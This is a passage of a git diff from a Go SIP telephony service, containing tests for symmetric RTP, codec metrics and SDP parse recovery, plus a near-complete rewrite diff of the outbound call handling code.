9999) + c2.addr = newAddr + + pushAudio(t, m2.GetOutboundAudioWriter()) + + select { + case <-m1.Received(): + case <-time.After(time.Second): + t.Fatal("no media received") + } + + curDstPtr := m1.port.dst.Load() + require.NotNil(t, curDstPtr) + require.Equal(t, dst, *curDstPtr) + }) + + t.Run("enabled", func(t *testing.T) { + m1, m2 := newMediaPair(t, &MediaOptions{SymmetricRTP: true}, nil, codec, RoomSampleRate) + dstPtr := m1.port.dst.Load() + require.NotNil(t, dstPtr) + require.True(t, dstPtr.IsValid()) + + c2 := m2.port.UDPConn.(*testUDPConn) + newAddr := netip.AddrPortFrom(newIP("9.9.9.9"), 9999) + c2.addr = newAddr + + pushAudio(t, m2.GetOutboundAudioWriter()) + + select { + case <-m1.Received(): + case <-time.After(time.Second): + t.Fatal("no media received") + } + + curDstPtr := m1.port.dst.Load() + require.NotNil(t, curDstPtr) + require.Equal(t, newAddr, *curDstPtr) + }) + + t.Run("auto", func(t *testing.T) { + m1, m2 := newMediaPairWithAddr(t, + newIP("1.1.1.1"), newIP("10.10.10.10"), + &MediaOptions{IgnoreLocalAddrInSDP: true}, nil, + codec, + RoomSampleRate, + ) + dstPtr := m1.port.dst.Load() + require.NotNil(t, dstPtr) + require.True(t, dstPtr.IsValid()) + symmetric := m1.port.symmetric.Load() + require.True(t, symmetric) + + c2 := m2.port.UDPConn.(*testUDPConn) + newAddr := netip.AddrPortFrom(newIP("3.3.3.3"), 9999) + c2.addr = newAddr + + pushAudio(t, m2.GetOutboundAudioWriter()) + + select { + case <-m1.Received(): + case <-time.After(time.Second): + t.Fatal("no media received") + } + + curDstPtr := m1.port.dst.Load() + require.NotNil(t, curDstPtr) + require.Equal(t, newAddr.String(), curDstPtr.String()) + }) +} + +// Test util for incrementing prometheus counter metrics. +func gatherCounter(t testing.TB, name string, labels map[string]string) float64 { + t.Helper() + families, err := prometheus.DefaultGatherer.Gather() + require.NoError(t, err) + var total float64 + for _, f := range families { + // Matching metric + if f.GetName() != name { + continue + } + metrics: + for _, m := range f.GetMetric() { + got := make(map[string]string, len(m.GetLabel())) + for _, l := range m.GetLabel() { + got[l.GetName()] = l.GetValue() + } + // Matching labels + for k, v := range labels { + if got[k] != v { + continue metrics + } + } + total += m.GetCounter().GetValue() + } + } + return total +} + +// Report codecs offered during SDP even when the offer fails to match any codecs +func TestSetOfferReportsCodecsBeforeFailing(t *testing.T) { + mp := newTestMediaPort(t, "internal/somecarrier") + + parsed := map[string]string{"dir": "in", "provider": "internal/somecarrier"} + other := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": codecOther} + pcmu := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "PCMU/8000"} + + parsedBefore := gatherCounter(t, parsedMetric, parsed) + otherBefore := gatherCounter(t, offeredMetric, other) + pcmuBefore := gatherCounter(t, offeredMetric, pcmu) + + offer := sdpWithMedia("m=audio 5004 RTP/AVP 96", "a=rtpmap:96 SPEEX/16000") + _, err := mp.GenerateAnswer(offer) + require.ErrorIs(t, err, sdp.ErrNoCommonMedia) + + // Codecs that are not part of the internal set are classified as "other" + require.Equal(t, parsedBefore+1, gatherCounter(t, parsedMetric, parsed)) + require.Equal(t, otherBefore+1, gatherCounter(t, offeredMetric, other)) + require.Equal(t, pcmuBefore, gatherCounter(t, offeredMetric, pcmu)) +} + +func TestSetOfferReportsCodecsPerProvider(t *testing.T) { + mp := newTestMediaPort(t, "internal/somecarrier") + + parsed := map[string]string{"dir": "in", "provider": "internal/somecarrier"} + pcmu := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "PCMU/8000"} + g722 := map[string]string{"dir": "in", "provider": "internal/somecarrier", "codec": "G722/8000"} + + parsedBefore := gatherCounter(t, parsedMetric, parsed) + pcmuBefore := gatherCounter(t, offeredMetric, pcmu) + g722Before := gatherCounter(t, offeredMetric, g722) + + offer := sdpWithMedia("m=audio 5004 RTP/AVP 0 9", + "a=rtpmap:0 PCMU/8000", "a=rtpmap:9 G722/8000") + _, err := mp.GenerateAnswer(offer) + require.NoError(t, err) + + require.Equal(t, parsedBefore+1, gatherCounter(t, parsedMetric, parsed)) + require.Equal(t, pcmuBefore+1, gatherCounter(t, offeredMetric, pcmu)) + require.Equal(t, g722Before+1, gatherCounter(t, offeredMetric, g722)) +} + +// Without SetProvider - the pre-auth path - offers still land somewhere rather +// than being dropped. +func TestSetOfferReportsUnknownProvider(t *testing.T) { + mp := newTestMediaPort(t, "") + + parsed := map[string]string{"dir": "in", "provider": stats.ProviderUnknown} + before := gatherCounter(t, parsedMetric, parsed) + + offer := sdpWithMedia("m=audio 5004 RTP/AVP 0", "a=rtpmap:0 PCMU/8000") + _, err := mp.GenerateAnswer(offer) + require.NoError(t, err) + + require.Equal(t, before+1, gatherCounter(t, parsedMetric, parsed)) +} + +// stubParse stands in for sdp.ParseOfferWith/ParseAnswerWith so the recovery +// wrapper can be exercised without hand-crafting SDP that panics the parser. +type stubParse struct { + calls int + res *sdp.Offer + err error + panic any +} + +func (s *stubParse) parse(*msdk.CodecSet, []byte) (*sdp.Offer, error) { + s.calls++ + if s.panic != nil { + panic(s.panic) + } + return s.res, s.err +} + +func TestParseSDPWithRecovery(t *testing.T) { + parseErr := errors.New("malformed SDP") + + t.Run("parse error reaches the caller intact", func(t *testing.T) { + fn := &stubParse{err: parseErr} + res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) + require.ErrorIs(t, err, parseErr) + require.Nil(t, res) + require.Equal(t, 1, fn.calls) + }) + + t.Run("panic with an error value becomes an error", func(t *testing.T) { + fn := &stubParse{panic: errors.New("index out of range")} + res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) + require.EqualError(t, err, "invalid SDP") + require.Nil(t, res) + require.Equal(t, 1, fn.calls) + }) + + t.Run("panic with a non-error value becomes an error", func(t *testing.T) { + fn := &stubParse{panic: "boom"} + res, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) + require.EqualError(t, err, "invalid SDP") + require.Nil(t, res) + require.Equal(t, 1, fn.calls) + }) + + t.Run("a recovered panic still classifies as an SDP error", func(t *testing.T) { + fn := &stubParse{panic: "boom"} + _, err := parseSDPWithRecovery(logger.NewTestLogger(t), nil, fn.parse, defaultCodecs, nil) + f := SDPError{Err: err}.ClassifyInvite() + require.Equal(t, stats.ClientError("sdp-error"), f.Term) + }) +} diff --git a/pkg/sip/outbound.go b/pkg/sip/outbound.go index c681d1a22..5301d906f 100644 --- a/pkg/sip/outbound.go +++ b/pkg/sip/outbound.go @@ -1,1359 +1,1359 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "errors" - "fmt" - "math" - "net" - "sort" - "strconv" - "strings" - "sync" - "time" - - "github.com/frostbyte73/core" - "github.com/icholy/digest" - "golang.org/x/exp/maps" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/tones" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/utils/guid" - "github.com/livekit/protocol/utils/traceid" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" - - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -type sipOutboundConfig struct { - transport livekit.SIPTransport - uri *sip.Uri - from *sip.FromHeader - to *sip.ToHeader - user string - pass string - dtmf string - dialtone bool - headers map[string]string - includeHeaders livekit.SIPHeaderOptions - headersToAttrs map[string]string - attrsToHeaders map[string]string - ringingTimeout time.Duration - maxCallDuration time.Duration - enabledFeatures []livekit.SIPFeature - featureFlags map[string]string - mediaConfig *sipMediaConfig -} - -type outboundCall struct { - c *Client - tid traceid.ID - log logger.Logger - state *CallState - callStart time.Time - cc *sipOutbound - media MediaPort - started core.Fuse - stopped core.Fuse - closing core.Fuse - stats Stats - sigTs SignalingTimestamps - jitterBuf bool - projectID string - - mu sync.RWMutex - mon *stats.CallMonitor - lkRoom RoomInterface - lkRoomIn msdk.PCM16Writer // output to room; OPUS at 48k - sipConf sipOutboundConfig -} - -func (c *Client) newCall(ctx context.Context, tid traceid.ID, conf *config.Config, log logger.Logger, id LocalTag, room RoomConfig, sipConf sipOutboundConfig, state *CallState, projectID string) (*outboundCall, error) { - signalLoggingEnabled, _ := strconv.ParseBool(sipConf.featureFlags[signalLoggingFeatureFlag]) - if sipConf.maxCallDuration <= 0 || sipConf.maxCallDuration > maxCallDuration { - sipConf.maxCallDuration = maxCallDuration - } - if sipConf.ringingTimeout <= 0 { - sipConf.ringingTimeout = defaultRingingTimeout - } - jitterBuf := SelectValueBool(conf.EnableJitterBuffer, conf.EnableJitterBufferProb) - room.JitterBuf = jitterBuf - room.LogSignalChanges = signalLoggingEnabled - - tr := TransportFrom(sipConf.transport) - contact := c.ContactURI(tr) - - now := time.Now() - call := &outboundCall{ - c: c, - tid: tid, - log: log, - sipConf: sipConf, - state: state, - callStart: now, - sigTs: SignalingTimestamps{APITime: now}, - jitterBuf: jitterBuf, - projectID: projectID, - } - call.stats.Update() - call.cc = c.newOutbound(log, id, sipConf.uri, sipConf.to, sipConf.from, contact, call.setAttrsToHeaders) - call.log = call.log.WithValues("jitterBuf", call.jitterBuf, "sipCallID", call.cc.callID) - if sipConf.featureFlags[outboundRouteHeadersFeatureFlag] == "true" { - call.cc.routeHeaders = conf.OutboundRouteHeaders - } - - call.mon = c.mon.NewCall(stats.Outbound, sipConf.from.Address.Host, sipConf.to.Address.Host) - var err error - - call.media, err = NewMediaPort(call.log, call.mon, &MediaOptions{ - IP: c.sconf.MediaIP, - Ports: conf.RTPPort, - MediaTimeoutInitial: c.conf.MediaTimeoutInitial, - MediaTimeout: sipConf.mediaConfig.MediaTimeout, - SymmetricRTP: c.conf.SymmetricRTP, - IgnoreLocalAddrInSDP: c.conf.IgnoreLocalAddrInSDP, - EnableJitterBuffer: call.jitterBuf, - LogSignalChanges: signalLoggingEnabled, - Stats: &call.stats.Port, - DrainingIdleTimeout: conf.RTPDrainingIdleTimeout, - DrainingDuration: conf.RTPDrainingDuration, - DTMFAudio: conf.AudioDTMF, - Codecs: sipConf.mediaConfig.Codecs, - Encryption: sipConf.mediaConfig.Encryption, - }, RoomSampleRate) - if err != nil { - call.close(ctx, EndCall{ - Report: fmt.Errorf("media failed: %w", err), - Status: callDropped, - Term: stats.ServerError("media-failed"), - }) - return nil, err - } - if err := call.connectToRoom(ctx, room, c.getRoom); err != nil { - call.close(ctx, EndCall{ - Report: fmt.Errorf("room join failed: %w", err), - Status: callDropped, - Term: stats.ServerError("join-failed"), - }) - return nil, psrpc.NewError(psrpc.Internal, fmt.Errorf("update room failed: %w", err)) - } - - c.cmu.Lock() - defer c.cmu.Unlock() - c.activeCalls[id] = call - return call, nil -} - -func (c *outboundCall) setAttrsToHeaders(headers map[string]string) map[string]string { - if len(c.sipConf.attrsToHeaders) == 0 { - return headers - } - r := c.lkRoom.Room() - if r == nil { - return headers - } - return AttrsToHeaders(r.LocalParticipant.Attributes(), c.sipConf.attrsToHeaders, headers) -} - -func (c *outboundCall) ensureClosed(ctx context.Context) { - c.state.Update(func(info *livekit.SIPCallInfo) { - if info.Error != "" { - info.CallStatus = livekit.SIPCallStatus_SCS_ERROR - } else { - info.CallStatus = livekit.SIPCallStatus_SCS_DISCONNECTED - } - if r := c.lkRoom.Room(); r != nil { - if p := r.LocalParticipant; p != nil { - info.ParticipantIdentity = p.Identity() - info.ParticipantAttributes = p.Attributes() // clones - } - } - info.EndedAtNs = time.Now().UnixNano() - }) -} - -func (c *outboundCall) setErrStatus(ctx context.Context, err error) { - if err == nil { - return - } - c.state.Update(func(info *livekit.SIPCallInfo) { - if info.Error != "" { - return - } - info.Error = err.Error() - info.CallStatus = livekit.SIPCallStatus_SCS_ERROR - }) -} - -func (c *outboundCall) Dial(ctx context.Context) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.Dial") - defer span.End() - c.mon.CallStart() - defer c.mon.CallEnd() - - err := c.connectSIP(ctx, c.tid) - if err != nil { - c.ensureClosed(ctx) - return err // connectSIP updates the error code on the callInfo - } - - c.state.Update(func(info *livekit.SIPCallInfo) { - lkroom := c.lkRoom.Room() - if lkroom == nil { - c.log.Errorw("failed to update SIP info", fmt.Errorf("unexpected state: lkroom is not set")) - return - } - info.RoomId = lkroom.SID() - info.StartedAtNs = time.Now().UnixNano() - info.CallStatus = livekit.SIPCallStatus_SCS_ACTIVE - }) - return nil -} - -func (c *outboundCall) WaitClose(ctx context.Context) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.WaitClose") - defer span.End() - return c.waitClose(ctx, c.tid) -} -func (c *outboundCall) waitClose(ctx context.Context, tid traceid.ID) error { - defer c.ensureClosed(ctx) - - ticker := time.NewTicker(stateUpdateTick) - defer ticker.Stop() - - statsTicker := time.NewTicker(statsInterval) - defer statsTicker.Stop() - for { - select { - case <-statsTicker.C: - c.stats.Update() - c.printStats() - case <-ticker.C: - c.log.Debugw("sending keep-alive") - c.state.ForceFlush() - case <-c.Disconnected(): - roomReason := c.lkRoom.ClosedReason() - c.CloseWith(ctx, EndCall{ - Status: callDropped, - Term: terminationFromRoomDisconnect(roomReason), - Reason: disconnectReasonFromRoomClose(roomReason), - }) - return nil - case <-c.media.MediaTimeout(): - c.closeWithTimeout(ctx) - err := psrpc.NewErrorf(psrpc.DeadlineExceeded, "media timeout") - c.setErrStatus(ctx, err) - return err - case <-ctx.Done(): - c.CloseWith(ctx, EndCall{ - Status: CallHangup, - Term: stats.Success("hangup"), - Reason: livekit.DisconnectReason_CLIENT_INITIATED, - }) - return nil - case <-c.Closed(): - return nil - } - } -} - -func (c *outboundCall) DialAsync(ctx context.Context) { - ctx, span := Tracer.Start(ctx, "sip.outbound.DialAsync") - defer span.End() - - go func() { - ctx, cancel := context.WithTimeout(context.WithoutCancel(ctx), c.sipConf.maxCallDuration) - defer cancel() - if err := c.Dial(ctx); err != nil { - return - } - _ = c.WaitClose(ctx) - }() -} - -func (c *outboundCall) Closed() <-chan struct{} { - return c.stopped.Watch() -} - -func (c *outboundCall) Disconnected() <-chan struct{} { - return c.lkRoom.Closed() -} - -func (c *outboundCall) Close(ctx context.Context) error { - c.mu.Lock() - defer c.mu.Unlock() - c.close(ctx, EndCall{ - Status: callDropped, - Term: stats.ServerError("shutdown"), - Reason: livekit.DisconnectReason_SERVER_SHUTDOWN, - }) - return nil -} - -func (c *outboundCall) CloseWith(ctx context.Context, end EndCall) bool { - c.mu.Lock() - defer c.mu.Unlock() - return c.close(ctx, end) -} - -func (c *outboundCall) closeWithTimeout(ctx context.Context) { - c.mu.Lock() - defer c.mu.Unlock() - c.close(ctx, EndCall{ - Report: psrpc.NewErrorf(psrpc.DeadlineExceeded, "media-timeout"), - Status: callDropped, - Term: stats.Indeterminate("media-timeout"), - Reason: livekit.DisconnectReason_UNKNOWN_REASON, - }) -} - -// EndCall implements CallInterface. -func (c *outboundCall) EndCall(ctx context.Context, headers map[string]string) error { - if !c.CloseWith(ctx, EndCall{ - Status: CallHangup, - Term: stats.Success("rpc"), - Reason: livekit.DisconnectReason_CLIENT_INITIATED, - Headers: headers, - }) { - return errors.New("call already ended") - } - return nil -} - -func (c *outboundCall) printStats() { - c.stats.Log(c.log, c.callStart) -} - -func (c *outboundCall) close(ctx context.Context, end EndCall) bool { - c.closing.Break() - ctx = context.WithoutCancel(ctx) - done := false - c.stopped.Once(func() { - done = true - c.stats.Closed.Store(true) - log := c.log.WithValues("status", end.Status, "result", string(end.Term.Result), "reason", end.Term.Reason) - defer func() { - c.stats.Update() - c.printStats() - c.sigTs.Log(log) - }() - - c.setStatus(end.Status) - if err := end.Report; err != nil { - log.Warnw("Closing outbound call with error", err) - } else { - log.Infow("Closing outbound call") - } - c.state.Update(func(info *livekit.SIPCallInfo) { - if err := end.Report; err != nil && info.Error == "" { - info.Error = err.Error() - info.CallStatus = livekit.SIPCallStatus_SCS_ERROR - } - info.DisconnectReason = end.Reason - }) - - // Send BYE _before_ closing media/room connection. - // This ensures participant attributes are still available for - // attributes_to_headers mapping in the setHeaders callback. - // See: https://github.com/livekit/sip/issues/404 - c.stopSIP(ctx, end.Term, end.Headers) - if c.media != nil { - c.media.Close() - } - - if r := c.lkRoom; r != nil { - _ = r.CloseWithReason(end.Status.DisconnectReason()) - } - - if c.lkRoomIn != nil { - if err := c.lkRoomIn.Close(); err != nil { - log.Warnw("error closing livekit room audio input", err) - } - } - c.lkRoomIn = nil - - c.c.cmu.Lock() - delete(c.c.activeCalls, c.cc.ID()) - c.c.cmu.Unlock() - - c.c.DeregisterTransferSIPParticipant(string(c.cc.ID())) - - // Call the handler asynchronously to avoid blocking - if c.c.handler != nil { - state := c.state - callID := state.Info().CallId - go func(tid traceid.ID) { - ctx := context.WithoutCancel(ctx) - ctx, span := Tracer.Start(ctx, "sip.outbound.OnSessionEnd") - defer span.End() - c.c.handler.OnSessionEnd(ctx, &CallIdentifier{ - TraceID: tid, - ProjectID: c.projectID, - CallID: callID, - SipCallID: c.cc.SIPCallID(), - }, state, end.Term.Reason) - }(c.tid) - } - }) - return done -} - -func (c *outboundCall) Participant() ParticipantInfo { - c.mu.RLock() - defer c.mu.RUnlock() - return c.lkRoom.Participant() -} - -func (c *outboundCall) connectSIP(ctx context.Context, tid traceid.ID) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.connectSIP") - defer span.End() - c.mu.Lock() - defer c.mu.Unlock() - if err := c.dialSIP(ctx, tid); err != nil { - c.log.Infow("SIP call failed", "error", err) - res := classifyInviteError(err) - if !c.sigTs.InviteTime.IsZero() { - // INVITE sent: a call may exist, so don't surface a retryable 5xx. - res = res.afterInvite() - } - c.close(ctx, res.EndCall) - return res.returnErr - } - c.connectMedia() - c.started.Break() - c.lkRoom.Subscribe() - c.log.Infow("Outbound SIP call established") - return nil -} - -func (c *outboundCall) connectToRoom(ctx context.Context, lkNew RoomConfig, getRoom GetRoomFunc) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.connectToRoom") - defer span.End() - attrs := lkNew.Participant.Attributes - if attrs == nil { - attrs = make(map[string]string) - } - - sipCallID := attrs[livekit.AttrSIPCallID] - if sipCallID != "" { - c.c.RegisterTransferSIPParticipant(sipCallID, c) - } - - attrs[livekit.AttrSIPCallStatus] = CallDialing.Attribute() - lkNew.Participant.Attributes = attrs - r := getRoom(c.log, &c.stats.Room) - if err := r.Connect(ctx, c.c.conf, lkNew); err != nil { - _ = r.Close() - return err - } - // We have to create the track early because we might play a dialtone while SIP connects. - // Thus, we are forced to set full sample rate here instead of letting the codec adapt to the SIP source sample rate. - local, err := r.NewParticipantTrack(RoomSampleRate) - if err != nil { - _ = r.Close() - return err - } - c.lkRoom = r - c.lkRoomIn = local - if err := registerSignalingRPC(c.lkRoom, c.cc); err != nil { - return err - } - if err := registerCallRPC(c.lkRoom, c); err != nil { - return err - } - return nil -} - -func (c *outboundCall) dialSIP(ctx context.Context, tid traceid.ID) error { - if c.sipConf.dialtone { - const ringVolume = math.MaxInt16 / 2 - rctx, rcancel := context.WithCancel(ctx) - defer rcancel() - - dst := c.lkRoomIn // already under mutex - - // Play dialtone to the room while participant connects - go func(tid traceid.ID) { - rctx, span := Tracer.Start(rctx, "tones.Play") - defer span.End() - - if dst == nil { - c.log.Infow("room is not ready, ignoring dial tone") - return - } - err := tones.Play(rctx, dst, ringVolume, tones.ETSIRinging) - if err != nil && !errors.Is(err, context.Canceled) { - c.log.Infow("cannot play dial tone", "error", err) - } - }(tid) - } - err := c.sipSignal(ctx, tid) - if err != nil { - return err - } - - if digits := c.sipConf.dtmf; digits != "" { - c.setStatus(CallAutomation) - // Write initial DTMF to SIP - dtmfWriter := c.media.GetOutboundDTMFWriter() - if err := dtmfWriter.WriteSample(digits); err != nil { - return fmt.Errorf("error writing digits (%s): %w", digits, err) - } - } - c.setStatus(CallActive) - return nil -} - -func (c *outboundCall) updateRemoteFromSDP(body []byte) error { - var mp MediaPort - - c.mu.Lock() - mp = c.media - c.mu.Unlock() - - if mp == nil { - return nil - } - _, err := mp.GenerateAnswer(body) - return err -} - -func (c *outboundCall) connectMedia() { - if old := c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()); old != nil { - old.Close() - c.log.Warnw("room has unexpected outbound audio writer", nil) - } - - if old := c.lkRoom.WriteOutboundDTMFTo(c.media.GetOutboundDTMFWriter()); old != nil { - old.Close() - c.log.Warnw("room has unexpected outbound DTMF writer", nil) - } - - if processor := c.c.handler.GetMediaProcessor(c.sipConf.enabledFeatures, c.sipConf.featureFlags, string(c.cc.ID()), MediaProcessorOpts{InputSampleRate: RoomSampleRate}); processor != nil { - c.lkRoomIn = processor(c.lkRoomIn) - } - - if old := c.media.WriteInboundAudioTo(c.lkRoomIn); old != nil { - old.Close() - c.log.Warnw("media port has unexpected inbound audio writer", nil) - } - - // WriteInboundAudioTo takes ownership of c.lkRoomIn, so nil it out to avoid - // double-closing later. - c.lkRoomIn = nil - - if old := c.media.WriteInboundDTMFTo(c.lkRoom.GetInboundDTMFWriter()); old != nil { - old.Close() - c.log.Warnw("media port has unexpected inbound DTMF writer", nil) - } -} - -type sipRespFunc func(code sip.StatusCode, hdrs Headers) - -func sipResponse(ctx context.Context, tx sip.ClientTransaction, stop <-chan struct{}, setState sipRespFunc) (*sip.Response, error) { - cnt := 0 - for { - select { - case <-ctx.Done(): - _ = tx.Cancel() - // NOTE: psrpc.Canceled does not auto-retry, whereas psrpc.DeadlineExceeded does - // As long as that is the case, avoid psrpc.DeadlineExceeded to prevent hammering of destination. - return nil, psrpc.NewError(psrpc.Canceled, ErrSIPRequestTimeout) - case <-stop: - _ = tx.Cancel() - return nil, psrpc.NewErrorf(psrpc.Canceled, "service shutting down") - case <-tx.Done(): - return nil, psrpc.NewError(psrpc.Canceled, transactionTimeoutError{responses: cnt}) - case res := <-tx.Responses(): - if res == nil { - return nil, psrpc.NewError(psrpc.Canceled, transactionTimeoutError{responses: cnt}) - } - status := res.StatusCode - if setState != nil { - setState(res.StatusCode, res.Headers()) - } - if status/100 != 1 { // != 1xx - return res, nil - } - // continue - cnt++ - } - } -} - -// cancelResponseGrace bounds how long a cancelled INVITE is watched for a 2xx. -var cancelResponseGrace = 5 * time.Second - -// watchCancelledInvite catches a 2xx racing with our CANCEL and ACKs+BYEs it so -// the answered call is not orphaned. It owns tx and terminates it when done. -func watchCancelledInvite(log logger.Logger, cli SIPClient, getHeaders setHeadersFunc, req *sip.Request, tx sip.ClientTransaction) { - defer tx.Terminate() - timer := time.NewTimer(cancelResponseGrace) - defer timer.Stop() - for { - select { - case res := <-tx.Responses(): - if res == nil { - return - } - switch res.StatusCode / 100 { - case 1: - continue // provisional; keep waiting - case 2: - log.Infow("cancelled INVITE answered; sending ACK and BYE") - applyInviteResponse(req, res) // route ACK/BYE to the answering Contact - _ = cli.WriteRequest(sip.NewAckRequest(req, res, nil)) - bye := sip.NewByeRequest(req, res, nil) - bye.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) - if getHeaders != nil { - for k, v := range getHeaders(nil) { - bye.AppendHeader(sip.NewHeader(k, v)) - } - } - _ = cli.WriteRequest(bye) - } - return - case <-tx.Done(): - return - case <-timer.C: - return - } - } -} - -func (c *outboundCall) stopSIP(ctx context.Context, t stats.Termination, headers map[string]string) { - termCtx, cancel := context.WithCancel(context.Background()) // Do not use ctx - defer cancel() - go func() { - select { - case <-termCtx.Done(): - return - case <-time.After(5 * time.Minute): - c.mon.CallTerminationFailure() - c.log.Errorw("call failed to terminate after 5 minutes", nil) // To be able to get call IDs - } - }() - - c.mon.CallTerminate(t) - c.cc.Close(ctx, headers) -} - -func (c *outboundCall) setStatus(v CallStatus) { - attr := v.Attribute() - if attr == "" { - return - } - if c.lkRoom == nil { - return - } - r := c.lkRoom.Room() - if r == nil { - return - } - r.LocalParticipant.SetAttributes(map[string]string{ - livekit.AttrSIPCallStatus: attr, - }) -} - -func (c *outboundCall) setExtraAttrs(hdrToAttr map[string]string, opts livekit.SIPHeaderOptions, cc Signaling, hdrs Headers) { - extra := HeadersToAttrs(nil, hdrToAttr, opts, cc, hdrs) - if c.lkRoom != nil && len(extra) != 0 { - room := c.lkRoom.Room() - if room != nil { - room.LocalParticipant.SetAttributes(extra) - } else { - c.log.Warnw("could not set attributes on nil room", nil, "attrs", extra) - } - } -} - -func (c *outboundCall) sipSignal(ctx context.Context, tid traceid.ID) error { - ctx, span := Tracer.Start(ctx, "sip.outbound.sipSignal") - defer span.End() - - if c.sipConf.ringingTimeout > 0 { - var cancel func() - ctx, cancel = context.WithTimeout(ctx, c.sipConf.ringingTimeout) - defer cancel() - } - - ctx, cancel := context.WithCancel(ctx) - defer cancel() - go func() { - select { - case <-ctx.Done(): - // parent context cancellation or success - return - case <-c.Disconnected(): - case <-c.Closed(): - } - cancel() - }() - - sdpOfferData, err := c.media.GenerateOffer() - if err != nil { - return err - } - c.mon.SDPSize(len(sdpOfferData), true, false) - c.log.Debugw("SDP offer", "sdp", string(sdpOfferData)) - joinDur := c.mon.JoinDur() - - c.mon.InviteReq() - c.sigTs.InviteTime = time.Now() - - ringing := false - sdpResp, err := c.cc.Invite(ctx, c.sipConf.user, c.sipConf.pass, c.sipConf.headers, sdpOfferData, func(code sip.StatusCode, hdrs Headers) { - if code == sip.StatusOK { - return // is set separately - } - if code == sip.StatusTrying && c.sigTs.TryingTime.IsZero() { - c.sigTs.TryingTime = time.Now() - } - if !ringing && code >= sip.StatusRinging && code < sip.StatusOK { - ringing = true - c.sigTs.RingingTime = time.Now() - c.setStatus(CallRinging) - } - c.setExtraAttrs(nil, 0, nil, hdrs) - }) - // Update SIPCallInfo with the SIP Call-ID after Invite - if sipCallID := c.cc.SIPCallID(); sipCallID != "" { - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.SipCallId = sipCallID - // Set callidfull in participant attributes for backwards compatibility - if info.ParticipantAttributes == nil { - info.ParticipantAttributes = make(map[string]string) - } - info.ParticipantAttributes[AttrSIPCallIDFull] = sipCallID - }) - } - if err != nil { - // TODO: should we retry? maybe new offer will work - var e *livekit.SIPStatus - if errors.As(err, &e) { - c.mon.InviteError(statusName(int(e.Code))) - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.CallStatusCode = e - }) - } else { - c.mon.InviteError("other") - } - c.cc.Close(ctx, nil) - c.log.Infow("SIP invite failed", "error", err) - return err - } - c.sigTs.AcceptTime = time.Now() - c.mon.SDPSize(len(sdpResp), false, true) - c.log.Debugw("SDP answer", "sdp", string(sdpResp)) - - c.log = LoggerWithHeaders(c.log, c.cc) - - err = c.media.ProcessAnswer(sdpResp) - if err != nil { - return err - } - - c.mon.InviteAccept() - err = c.cc.AckInviteOK(ctx) - if err != nil { - c.log.Infow("SIP accept failed", "error", err) - return err - } - c.sigTs.AckTime = time.Now() - joinDur() - - if err := ctx.Err(); err != nil { - // Aborted while the callee answered: the 200 is ACKed, so error out to - // tear the dialog down with a BYE instead of leaking a zombie call. - c.log.Infow("outbound call answered after abort; hanging up", "error", err) - return err - } - - c.setExtraAttrs(c.sipConf.headersToAttrs, c.sipConf.includeHeaders, c.cc, nil) - audio := c.media.NegotiatedAudio() - if audio == nil { - return fmt.Errorf("call media does not have negotiated audio") - } - - c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { - info.AudioCodec = audio.Codec.Info().SDPName - if r := c.lkRoom.Room(); r != nil { - info.ParticipantAttributes = r.LocalParticipant.Attributes() // clones - } - }) - - return nil -} - -func (c *outboundCall) transferCall(ctx context.Context, transferTo string, headers map[string]string, dialtone bool) (transferID string, retErr error) { - ctx, span := Tracer.Start(ctx, "sip.outbound.transferCall") - defer span.End() - var err error - - transferID = c.state.StartTransfer(transferTo) - defer func() { - c.state.EndTransfer(transferID, retErr) - }() - - if dialtone && c.started.IsBroken() && !c.stopped.IsBroken() { - const ringVolume = math.MaxInt16 / 2 - rctx, rcancel := context.WithCancel(ctx) - defer rcancel() - - // Mute the room audio to the SIP participant. - _ = c.lkRoom.WriteOutboundAudioTo(nil) // Not closing mp anchor - - defer func() { - if retErr != nil && !c.stopped.IsBroken() { - c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()) - } - }() - - go func() { - err := tones.Play(rctx, c.media.GetOutboundAudioWriter(), ringVolume, tones.ETSIRinging) - if err != nil && !errors.Is(err, context.Canceled) && !errors.Is(err, context.DeadlineExceeded) { - c.log.Infow("cannot play dial tone", "error", err) - } - }() - } - - err = c.cc.transferCall(ctx, transferTo, headers, c.closing.Watch()) - if err != nil { - c.log.Infow("outbound call failed to transfer", "error", err, "transferTo", transferTo) - return transferID, err - } - - c.log.Infow("outbound call transferred", "transferTo", transferTo) - - // Give time for the peer to hang up first, but hang up ourselves if this doesn't happen within 1 second - time.AfterFunc(referByeTimeout, func() { - c.CloseWith(ctx, EndCall{ - Status: CallHangup, - Term: stats.Success("call transferred"), - Reason: livekit.DisconnectReason_CLIENT_INITIATED, - }) - }) - - return transferID, nil -} - -func (c *Client) newOutbound(log logger.Logger, id LocalTag, uri *sip.Uri, to *sip.ToHeader, from *sip.FromHeader, contact URI, getHeaders setHeadersFunc) *sipOutbound { - contactHeader := &sip.ContactHeader{ - Address: 